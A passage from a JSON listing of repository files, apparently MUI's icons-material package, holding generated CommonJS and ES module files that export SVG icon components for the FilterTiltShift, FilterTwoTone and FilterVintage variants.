12c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3 3-1.34 3-3m3.31 4.9 1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32h-2.02c-.18 1.45-.76 2.78-1.62 3.89M13 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62m-7.32-.19C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62z\"\n}), 'FilterTiltShiftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterTiltShiftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 4.07V2.05c-2.01.2-3.84 1-5.32 2.21L7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62m7.32.19C16.84 3.05 15.01 2.25 13 2.05v2.02c1.46.18 2.79.76 3.9 1.62zM19.93 11h2.02c-.2-2.01-1-3.84-2.21-5.32L18.31 7.1c.86 1.11 1.44 2.44 1.62 3.9M5.69 7.1 4.26 5.68C3.05 7.16 2.25 8.99 2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9M4.07 13H2.05c.2 2.01 1 3.84 2.21 5.32l1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89M15 12c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3 3-1.34 3-3m3.31 4.9 1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32h-2.02c-.18 1.45-.76 2.78-1.62 3.89M13 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62m-7.32-.19C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62z\"\n}), 'FilterTiltShiftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterTiltShiftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 3.23c0-.64-.59-1.13-1.21-.99-1.12.26-2.18.7-3.12 1.3-.53.34-.61 1.1-.16 1.55.32.32.83.4 1.21.16.77-.49 1.62-.85 2.54-1.05.44-.1.74-.51.74-.97m6.33.32c-.94-.6-2-1.04-3.12-1.3-.62-.14-1.21.34-1.21.98 0 .45.3.87.74.96.91.2 1.77.57 2.53 1.05.39.24.89.17 1.21-.16.46-.44.39-1.19-.15-1.53M20.77 11c.64 0 1.13-.59.99-1.21-.26-1.12-.7-2.18-1.3-3.12-.34-.53-1.1-.61-1.55-.16-.32.32-.4.83-.16 1.21.49.77.85 1.62 1.05 2.53.1.45.51.75.97.75M5.1 6.51c-.46-.45-1.21-.38-1.55.16-.6.94-1.04 2-1.3 3.12-.14.62.34 1.21.98 1.21.45 0 .87-.3.96-.74.2-.91.57-1.77 1.05-2.53.26-.39.18-.9-.14-1.22M3.23 13c-.64 0-1.13.59-.99 1.21.26 1.12.7 2.17 1.3 3.12.34.54 1.1.61 1.55.16.32-.32.4-.83.15-1.21-.49-.76-.85-1.61-1.05-2.53-.09-.45-.5-.75-.96-.75M15 12c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3 3-1.34 3-3m3.9 5.49c.45.45 1.21.38 1.55-.15.6-.94 1.04-2 1.3-3.11.14-.62-.35-1.21-.98-1.21-.45 0-.87.3-.96.74-.2.91-.57 1.76-1.05 2.53-.26.37-.18.88.14 1.2M13 20.77c0 .64.59 1.13 1.21.99 1.12-.26 2.17-.7 3.12-1.3.54-.34.61-1.1.16-1.55-.32-.32-.83-.4-1.21-.15-.76.49-1.61.85-2.53 1.05-.45.09-.75.5-.75.96m-6.33-.32c.95.6 2 1.04 3.12 1.3.62.14 1.21-.35 1.21-.98 0-.45-.3-.87-.74-.96-.91-.2-1.77-.57-2.53-1.05-.39-.24-.89-.17-1.21.16-.46.44-.39 1.19.15 1.53\"\n}), 'FilterTiltShiftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterTiltShiftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 3.23c0-.64-.59-1.13-1.21-.99-1.12.26-2.18.7-3.12 1.3-.53.34-.61 1.1-.16 1.55.32.32.83.4 1.21.16.77-.49 1.62-.85 2.54-1.05.44-.1.74-.51.74-.97m6.33.32c-.94-.6-2-1.04-3.12-1.3-.62-.14-1.21.34-1.21.98 0 .45.3.87.74.96.91.2 1.77.57 2.53 1.05.39.24.89.17 1.21-.16.46-.44.39-1.19-.15-1.53M20.77 11c.64 0 1.13-.59.99-1.21-.26-1.12-.7-2.18-1.3-3.12-.34-.53-1.1-.61-1.55-.16-.32.32-.4.83-.16 1.21.49.77.85 1.62 1.05 2.53.1.45.51.75.97.75M5.1 6.51c-.46-.45-1.21-.38-1.55.16-.6.94-1.04 2-1.3 3.12-.14.62.34 1.21.98 1.21.45 0 .87-.3.96-.74.2-.91.57-1.77 1.05-2.53.26-.39.18-.9-.14-1.22M3.23 13c-.64 0-1.13.59-.99 1.21.26 1.12.7 2.17 1.3 3.12.34.54 1.1.61 1.55.16.32-.32.4-.83.15-1.21-.49-.76-.85-1.61-1.05-2.53-.09-.45-.5-.75-.96-.75M15 12c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3 3-1.34 3-3m3.9 5.49c.45.45 1.21.38 1.55-.15.6-.94 1.04-2 1.3-3.11.14-.62-.35-1.21-.98-1.21-.45 0-.87.3-.96.74-.2.91-.57 1.76-1.05 2.53-.26.37-.18.88.14 1.2M13 20.77c0 .64.59 1.13 1.21.99 1.12-.26 2.17-.7 3.12-1.3.54-.34.61-1.1.16-1.55-.32-.32-.83-.4-1.21-.15-.76.49-1.61.85-2.53 1.05-.45.09-.75.5-.75.96m-6.33-.32c.95.6 2 1.04 3.12 1.3.62.14 1.21-.35 1.21-.98 0-.45-.3-.87-.74-.96-.91-.2-1.77-.57-2.53-1.05-.39-.24-.89-.17-1.21.16-.46.44-.39 1.19.15 1.53\"\n}), 'FilterTiltShiftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterTiltShiftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 4.07V2.05c-2.01.2-3.84 1-5.32 2.21L7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62m7.32.19C16.84 3.05 15.01 2.25 13 2.05v2.02c1.46.18 2.79.76 3.9 1.62zM19.93 11h2.02c-.2-2.01-1-3.84-2.21-5.32L18.31 7.1c.86 1.11 1.44 2.44 1.62 3.9M5.69 7.1 4.26 5.68C3.05 7.16 2.25 8.99 2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9M4.07 13H2.05c.2 2.01 1 3.84 2.21 5.32l1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89M15 12c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3 3-1.34 3-3m3.31 4.9 1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32h-2.02c-.18 1.45-.76 2.78-1.62 3.89M13 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62m-7.32-.19C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62z\"\n}), 'FilterTiltShiftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterTiltShiftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 4.07V2.05c-2.01.2-3.84 1-5.32 2.21L7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62m7.32.19C16.84 3.05 15.01 2.25 13 2.05v2.02c1.46.18 2.79.76 3.9 1.62zM19.93 11h2.02c-.2-2.01-1-3.84-2.21-5.32L18.31 7.1c.86 1.11 1.44 2.44 1.62 3.9M5.69 7.1 4.26 5.68C3.05 7.16 2.25 8.99 2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9M4.07 13H2.05c.2 2.01 1 3.84 2.21 5.32l1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89M15 12c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3 3-1.34 3-3m3.31 4.9 1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32h-2.02c-.18 1.45-.76 2.78-1.62 3.89M13 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62m-7.32-.19C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62z\"\n}), 'FilterTiltShiftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterTiltShiftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 2.05v2.02c1.46.18 2.79.76 3.9 1.62l1.42-1.43C16.84 3.05 15.01 2.25 13 2.05m0 17.88v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62m-8.74-1.61 1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89H2.05c.2 2.01 1 3.84 2.21 5.32M2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9L4.26 5.68C3.05 7.16 2.25 8.99 2.05 11m16.26-3.9c.86 1.11 1.44 2.44 1.62 3.9h2.02c-.2-2.01-1-3.84-2.21-5.32zM7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62V2.05c-2.01.2-3.84 1-5.32 2.21zM5.68 19.74C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62zm16.27-6.73h-2.02c-.18 1.45-.76 2.78-1.62 3.89l1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'FilterTiltShiftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterTiltShiftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 2.05v2.02c1.46.18 2.79.76 3.9 1.62l1.42-1.43C16.84 3.05 15.01 2.25 13 2.05m0 17.88v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62m-8.74-1.61 1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89H2.05c.2 2.01 1 3.84 2.21 5.32M2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9L4.26 5.68C3.05 7.16 2.25 8.99 2.05 11m16.26-3.9c.86 1.11 1.44 2.44 1.62 3.9h2.02c-.2-2.01-1-3.84-2.21-5.32zM7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62V2.05c-2.01.2-3.84 1-5.32 2.21zM5.68 19.74C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62zm16.27-6.73h-2.02c-.18 1.45-.76 2.78-1.62 3.89l1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'FilterTiltShiftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17h14V3H7zm4.25-5.53 1.96 2.36 2.75-3.54L19.5 15h-11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21c0 1.1.9 2 2 2h16v-2H3V5H1zM21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-5.04-6.71-2.75 3.54-1.96-2.36L8.5 15h11z\"\n}, \"1\")], 'FilterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17h14V3H7zm4.25-5.53 1.96 2.36 2.75-3.54L19.5 15h-11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21c0 1.1.9 2 2 2h16v-2H3V5H1zM21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-5.04-6.71-2.75 3.54-1.96-2.36L8.5 15h11z\"\n}, \"1\")], 'FilterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterVintage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.7 12.4c-.28-.16-.57-.29-.86-.4.29-.11.58-.24.86-.4 1.92-1.11 2.99-3.12 3-5.19-1.79-1.03-4.07-1.11-6 0-.28.16-.54.35-.78.54.05-.31.08-.63.08-.95 0-2.22-1.21-4.15-3-5.19C10.21 1.85 9 3.78 9 6c0 .32.03.64.08.95-.24-.2-.5-.39-.78-.55-1.92-1.11-4.2-1.03-6 0 0 2.07 1.07 4.08 3 5.19.28.16.57.29.86.4-.29.11-.58.24-.86.4-1.92 1.11-2.99 3.12-3 5.19 1.79 1.03 4.07 1.11 6 0 .28-.16.54-.35.78-.54-.05.32-.08.64-.08.96 0 2.22 1.21 4.15 3 5.19 1.79-1.04 3-2.97 3-5.19 0-.32-.03-.64-.08-.95q.36.3.78.54c1.92 1.11 4.2 1.03 6 0-.01-2.07-1.08-4.08-3-5.19M12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'FilterVintage');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterVintage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.7 12.4c-.28-.16-.57-.29-.86-.4.29-.11.58-.24.86-.4 1.92-1.11 2.99-3.12 3-5.19-1.79-1.03-4.07-1.11-6 0-.28.16-.54.35-.78.54.05-.31.08-.63.08-.95 0-2.22-1.21-4.15-3-5.19C10.21 1.85 9 3.78 9 6c0 .32.03.64.08.95-.24-.2-.5-.39-.78-.55-1.92-1.11-4.2-1.03-6 0 0 2.07 1.07 4.08 3 5.19.28.16.57.29.86.4-.29.11-.58.24-.86.4-1.92 1.11-2.99 3.12-3 5.19 1.79 1.03 4.07 1.11 6 0 .28-.16.54-.35.78-.54-.05.32-.08.64-.08.96 0 2.22 1.21 4.15 3 5.19 1.79-1.04 3-2.97 3-5.19 0-.32-.03-.64-.08-.95q.36.3.78.54c1.92 1.11 4.2 1.03 6 0-.01-2.07-1.08-4.08-3-5.19M12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'FilterVintage');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterVintageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.7 12.4c-.28-.16-.57-.29-.86-.4.29-.11.58-.24.86-.4 1.92-1.11 2.99-3.12 3-5.19-.91-.52-1.95-.8-3.01-.8-1.02 0-2.05.26-2.99.8-.28.16-.54.35-.78.54.05-.31.08-.63.08-.95 0-2.22-1.21-4.15-3-5.19C10.21 1.85 9 3.78 9 6c0 .32.03.64.08.95-.24-.2-.5-.39-.78-.55-.94-.54-1.97-.8-2.99-.8-1.05 0-2.1.28-3.01.8 0 2.07 1.07 4.08 3 5.19.28.16.57.29.86.4-.29.11-.58.24-.86.4-1.92 1.11-2.99 3.12-3 5.19.91.52 1.95.8 3.01.8 1.02 0 2.05-.26 2.99-.8.28-.16.54-.35.78-.54-.05.32-.08.64-.08.96 0 2.22 1.21 4.15 3 5.19 1.79-1.04 3-2.97 3-5.19 0-.32-.03-.64-.08-.95q.36.3.78.54c.94.54 1.97.8 2.99.8 1.05 0 2.1-.28 3.01-.8-.01-2.07-1.08-4.08-3-5.19m-2.54-3.88c.21-.17.38-.29.54-.37.61-.35 1.3-.54 2-.54.27 0 .53.03.79.08-.31.91-.94 1.69-1.78 2.18-.17.1-.36.18-.58.27l-1.38.52c-.17-.46-.41-.87-.72-1.24zM12 3.37c.63.72 1 1.66 1 2.63 0 .19-.02.41-.05.63l-.23 1.44C12.48 8.03 12.24 8 12 8s-.48.03-.71.07l-.23-1.44C11.02 6.41 11 6.19 11 6c0-.98.37-1.91 1-2.63M4.51 7.68c.26-.06.53-.08.8-.08.69 0 1.38.18 1.99.54.15.09.32.2.49.35l1.15.96c-.3.36-.53.76-.7 1.2l-1.38-.52c-.21-.09-.4-.18-.56-.27-.87-.5-1.49-1.27-1.79-2.18m3.33 7.79c-.21.17-.38.29-.54.37-.61.35-1.3.54-2 .54-.27 0-.53-.03-.79-.08.31-.91.94-1.69 1.78-2.18.17-.1.36-.18.58-.27l1.38-.52c.16.46.41.88.72 1.24zM12 20.63c-.63-.72-1-1.66-1-2.63 0-.2.02-.41.06-.65l.22-1.42c.23.04.47.07.72.07.24 0 .48-.03.71-.07l.23 1.44c.04.22.06.44.06.63 0 .98-.37 1.91-1 2.63m6.69-4.24c-.69 0-1.38-.18-1.99-.54-.18-.1-.34-.22-.49-.34l-1.15-.96c.3-.36.54-.76.7-1.21l1.38.52c.22.08.41.17.57.26.85.49 1.47 1.27 1.78 2.18-.27.07-.54.09-.8.09\"\n}), 'FilterVintageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterVintageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.7 12.4c-.28-.16-.57-.29-.86-.4.29-.11.58-.24.86-.4 1.92-1.11 2.99-3.12 3-5.19-.91-.52-1.95-.8-3.01-.8-1.02 0-2.05.26-2.99.8-.28.16-.54.35-.78.54.05-.31.08-.63.08-.95 0-2.22-1.21-4.15-3-5.19C10.21 1.85 9 3.78 9 6c0 .32.03.64.08.95-.24-.2-.5-.39-.78-.55-.94-.54-1.97-.8-2.99-.8-1.05 0-2.1.28-3.01.8 0 2.07 1.07 4.08 3 5.19.28.16.57.29.86.4-.29.11-.58.24-.86.4-1.92 1.11-2.99 3.12-3 5.19.91.52 1.95.8 3.01.8 1.02 0 2.05-.26 2.99-.8.28-.16.54-.35.78-.54-.05.32-.08.64-.08.96 0 2.22 1.21 4.15 3 5.19 1.79-1.04 3-2.97 3-5.19 0-.32-.03-.64-.08-.95q.36.3.78.54c.94.54 1.97.8 2.99.8 1.05 0 2.1-.28 3.01-.8-.01-2.07-1.08-4.08-3-5.19m-2.54-3.88c.21-.17.38-.29.54-.37.61-.35 1.3-.54 2-.54.27 0 .53.03.79.08-.31.91-.94 1.69-1.78 2.18-.17.1-.36.18-.58.27l-1.38.52c-.17-.46-.41-.87-.72-1.24zM12 3.37c.63.72 1 1.66 1 2.63 0 .19-.02.41-.05.63l-.23 1.44C12.48 8.03 12.24 8 12 8s-.48.03-.71.07l-.23-1.44C11.02 6.41 11 6.19 11 6c0-.98.37-1.91 1-2.63M4.51 7.68c.26-.06.53-.08.8-.08.69 0 1.38.18 1.99.54.15.09.32.2.49.35l1.15.96c-.3.36-.53.76-.7 1.2l-1.38-.52c-.21-.09-.4-.18-.56-.27-.87-.5-1.49-1.27-1.79-2.18m3.33 7.79c-.21.17-.38.29-.54.37-.61.35-1.3.54-2 .54-.27 0-.53-.03-.79-.08.31-.91.94-1.69 1.78-2.18.17-.1.36-.18.58-.27l1.38-.52c.16.46.41.88.72 1.24zM12 20.63c-.63-.72-1-1.66-1-2.63 0-.2.02-.41.06-.65l.22-1.42c.23.04.47.07.72.07.24 0 .48-.03.71-.07l.23 1.44c.04.22.06.44.06.63 0 .98-.37 1.91-1 2.63m6.69-4.24c-.69 0-1.38-.18-1.99-.54-.18-.1-.34-.22-.49-.34l-1.15-.96c.3-.36.54-.76.7-1.21l1.38.52c.22.08.41.17.57.26.85.49 1.47 1.27 1.78 2.18-.27.07-.54.09-.8.09\"\n}), 'FilterVintageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterVintageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.7 12.4c-.28-.16-.57-.29-.86-.4.29-.11.58-.24.86-.4 1.92-1.11 2.99-3.12 3-5.19-1.79-1.03-4.07-1.11-6 0-.28.16-.54.35-.78.54.05-.31.08-.63.08-.95 0-2.22-1.21-4.15-3-5.19C10.21 1.85 9 3.78 9 6c0 .32.03.64.08.95-.24-.2-.5-.39-.78-.55-1.92-1.11-4.2-1.03-6 0 0 2.07 1.07 4.08 3 5.19.28.16.57.29.86.4-.29.11-.58.24-.86.4-1.92 1.11-2.99 3.12-3 5.19 1.79 1.03 4.07 1.11 6 0 .28-.16.54-.35.78-.54-.05.32-.08.64-.08.96 0 2.22 1.21 4.15 3 5.19 1.79-1.04 3-2.97 3-5.19 0-.32-.03-.64-.08-.95q.36.3.78.54c1.92 1.11 4.2 1.03 6 0-.01-2.07-1.08-4.08-3-5.19M12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'FilterVintageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterVintageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.7 12.4c-.28-.16-.57-.29-.86-.4.29-.11.58-.24.86-.4 1.92-1.11 2.99-3.12 3-5.19-1.79-1.03-4.07-1.11-6 0-.28.16-.54.35-.78.54.05-.31.08-.63.08-.95 0-2.22-1.21-4.15-3-5.19C10.21 1.85 9 3.78 9 6c0 .32.03.64.08.95-.24-.2-.5-.39-.78-.55-1.92-1.11-4.2-1.03-6 0 0 2.07 1.07 4.08 3 5.19.28.16.57.29.86.4-.29.11-.58.24-.86.4-1.92 1.11-2.99 3.12-3 5.19 1.79 1.03 4.07 1.11 6 0 .28-.16.54-.35.78-.54-.05.32-.08.64-.08.96 0 2.22 1.21 4.15 3 5.19 1.79-1.04 3-2.97 3-5.19 0-.32-.03-.64-.08-.95q.36.3.78.54c1.92 1.11 4.2 1.03 6 0-.01-2.07-1.08-4.08-3-5.19M12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'FilterVintageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterVintageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.7 12.4c-.28-.16-.57-.29-.86-.4.29-.11.58-.24.86-.4 1.92-1.11 2.99-3.12 3-5.19-1.79-1.03-4.07-1.11-6 0-.28.16-.54.35-.78.54.05-.31.08-.63.08-.95 0-2.22-1.21-4.15-3-5.19C10.21 1.85 9 3.78 9 6c0 .32.03.64.08.95-.24-.2-.5-.39-.78-.55-1.92-1.11-4.2-1.03-6 0 0 2.07 1.07 4.08 3 5.19.28.16.57.29.86.4-.29.11-.58.24-.86.4-1.92 1.11-2.99 3.12-3 5.19 1.79 1.03 4.07 1.11 6 0 .28-.16.54-.35.78-.54-.05.32-.08.64-.08.96 0 2.22 1.21 4.15 3 5.19 1.79-1.04 3-2.97 3-5.19 0-.32-.03-.64-.08-.95q.36.3.78.54c1.92 1.11 4.2 1.03 6 0-.01-2.07-1.08-4.08-3-5.19M12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'FilterVintageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterVintageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.7 12.4c-.28-.16-.57-.29-.86-.4.29-.11.58-.24.86-.4 1.92-1.11 2.99-3.12 3-5.19-1.79-1.03-4.07-1.11-6 0-.28.16-.54.35-.78.54.05-.31.08-.63.08-.95 0-2.22-1.21-4.15-3-5.19C10.21 1.85 9 3.78 9 6c0 .32.03.64.08.95-.24-.2-.5-.39-.78-.55-1.92-1.11-4.2-1.03-6 0 0 2.07 1.07 4.08 3 5.19.28.16.57.29.86.4-.29.11-.58.24-.86.4-1.92 1.11-2.99 3.12-3 5.19 1.79 1.03 4.07 1.11 6 0 .28-.16.54-.35.78-.54-.05.32-.08.64-.08.96 0 2.22 1.21 4.15 3 5.19 1.79-1.04 3-2.97 3-5.19 0-.32-.03-.64-.08-.95q.36.3.78.54c1.92 1.11 4.2 1.03 6 0-.01-2.07-1.08-4.08-3-5.19M12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'FilterVintageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterVintageTwoTone.js",
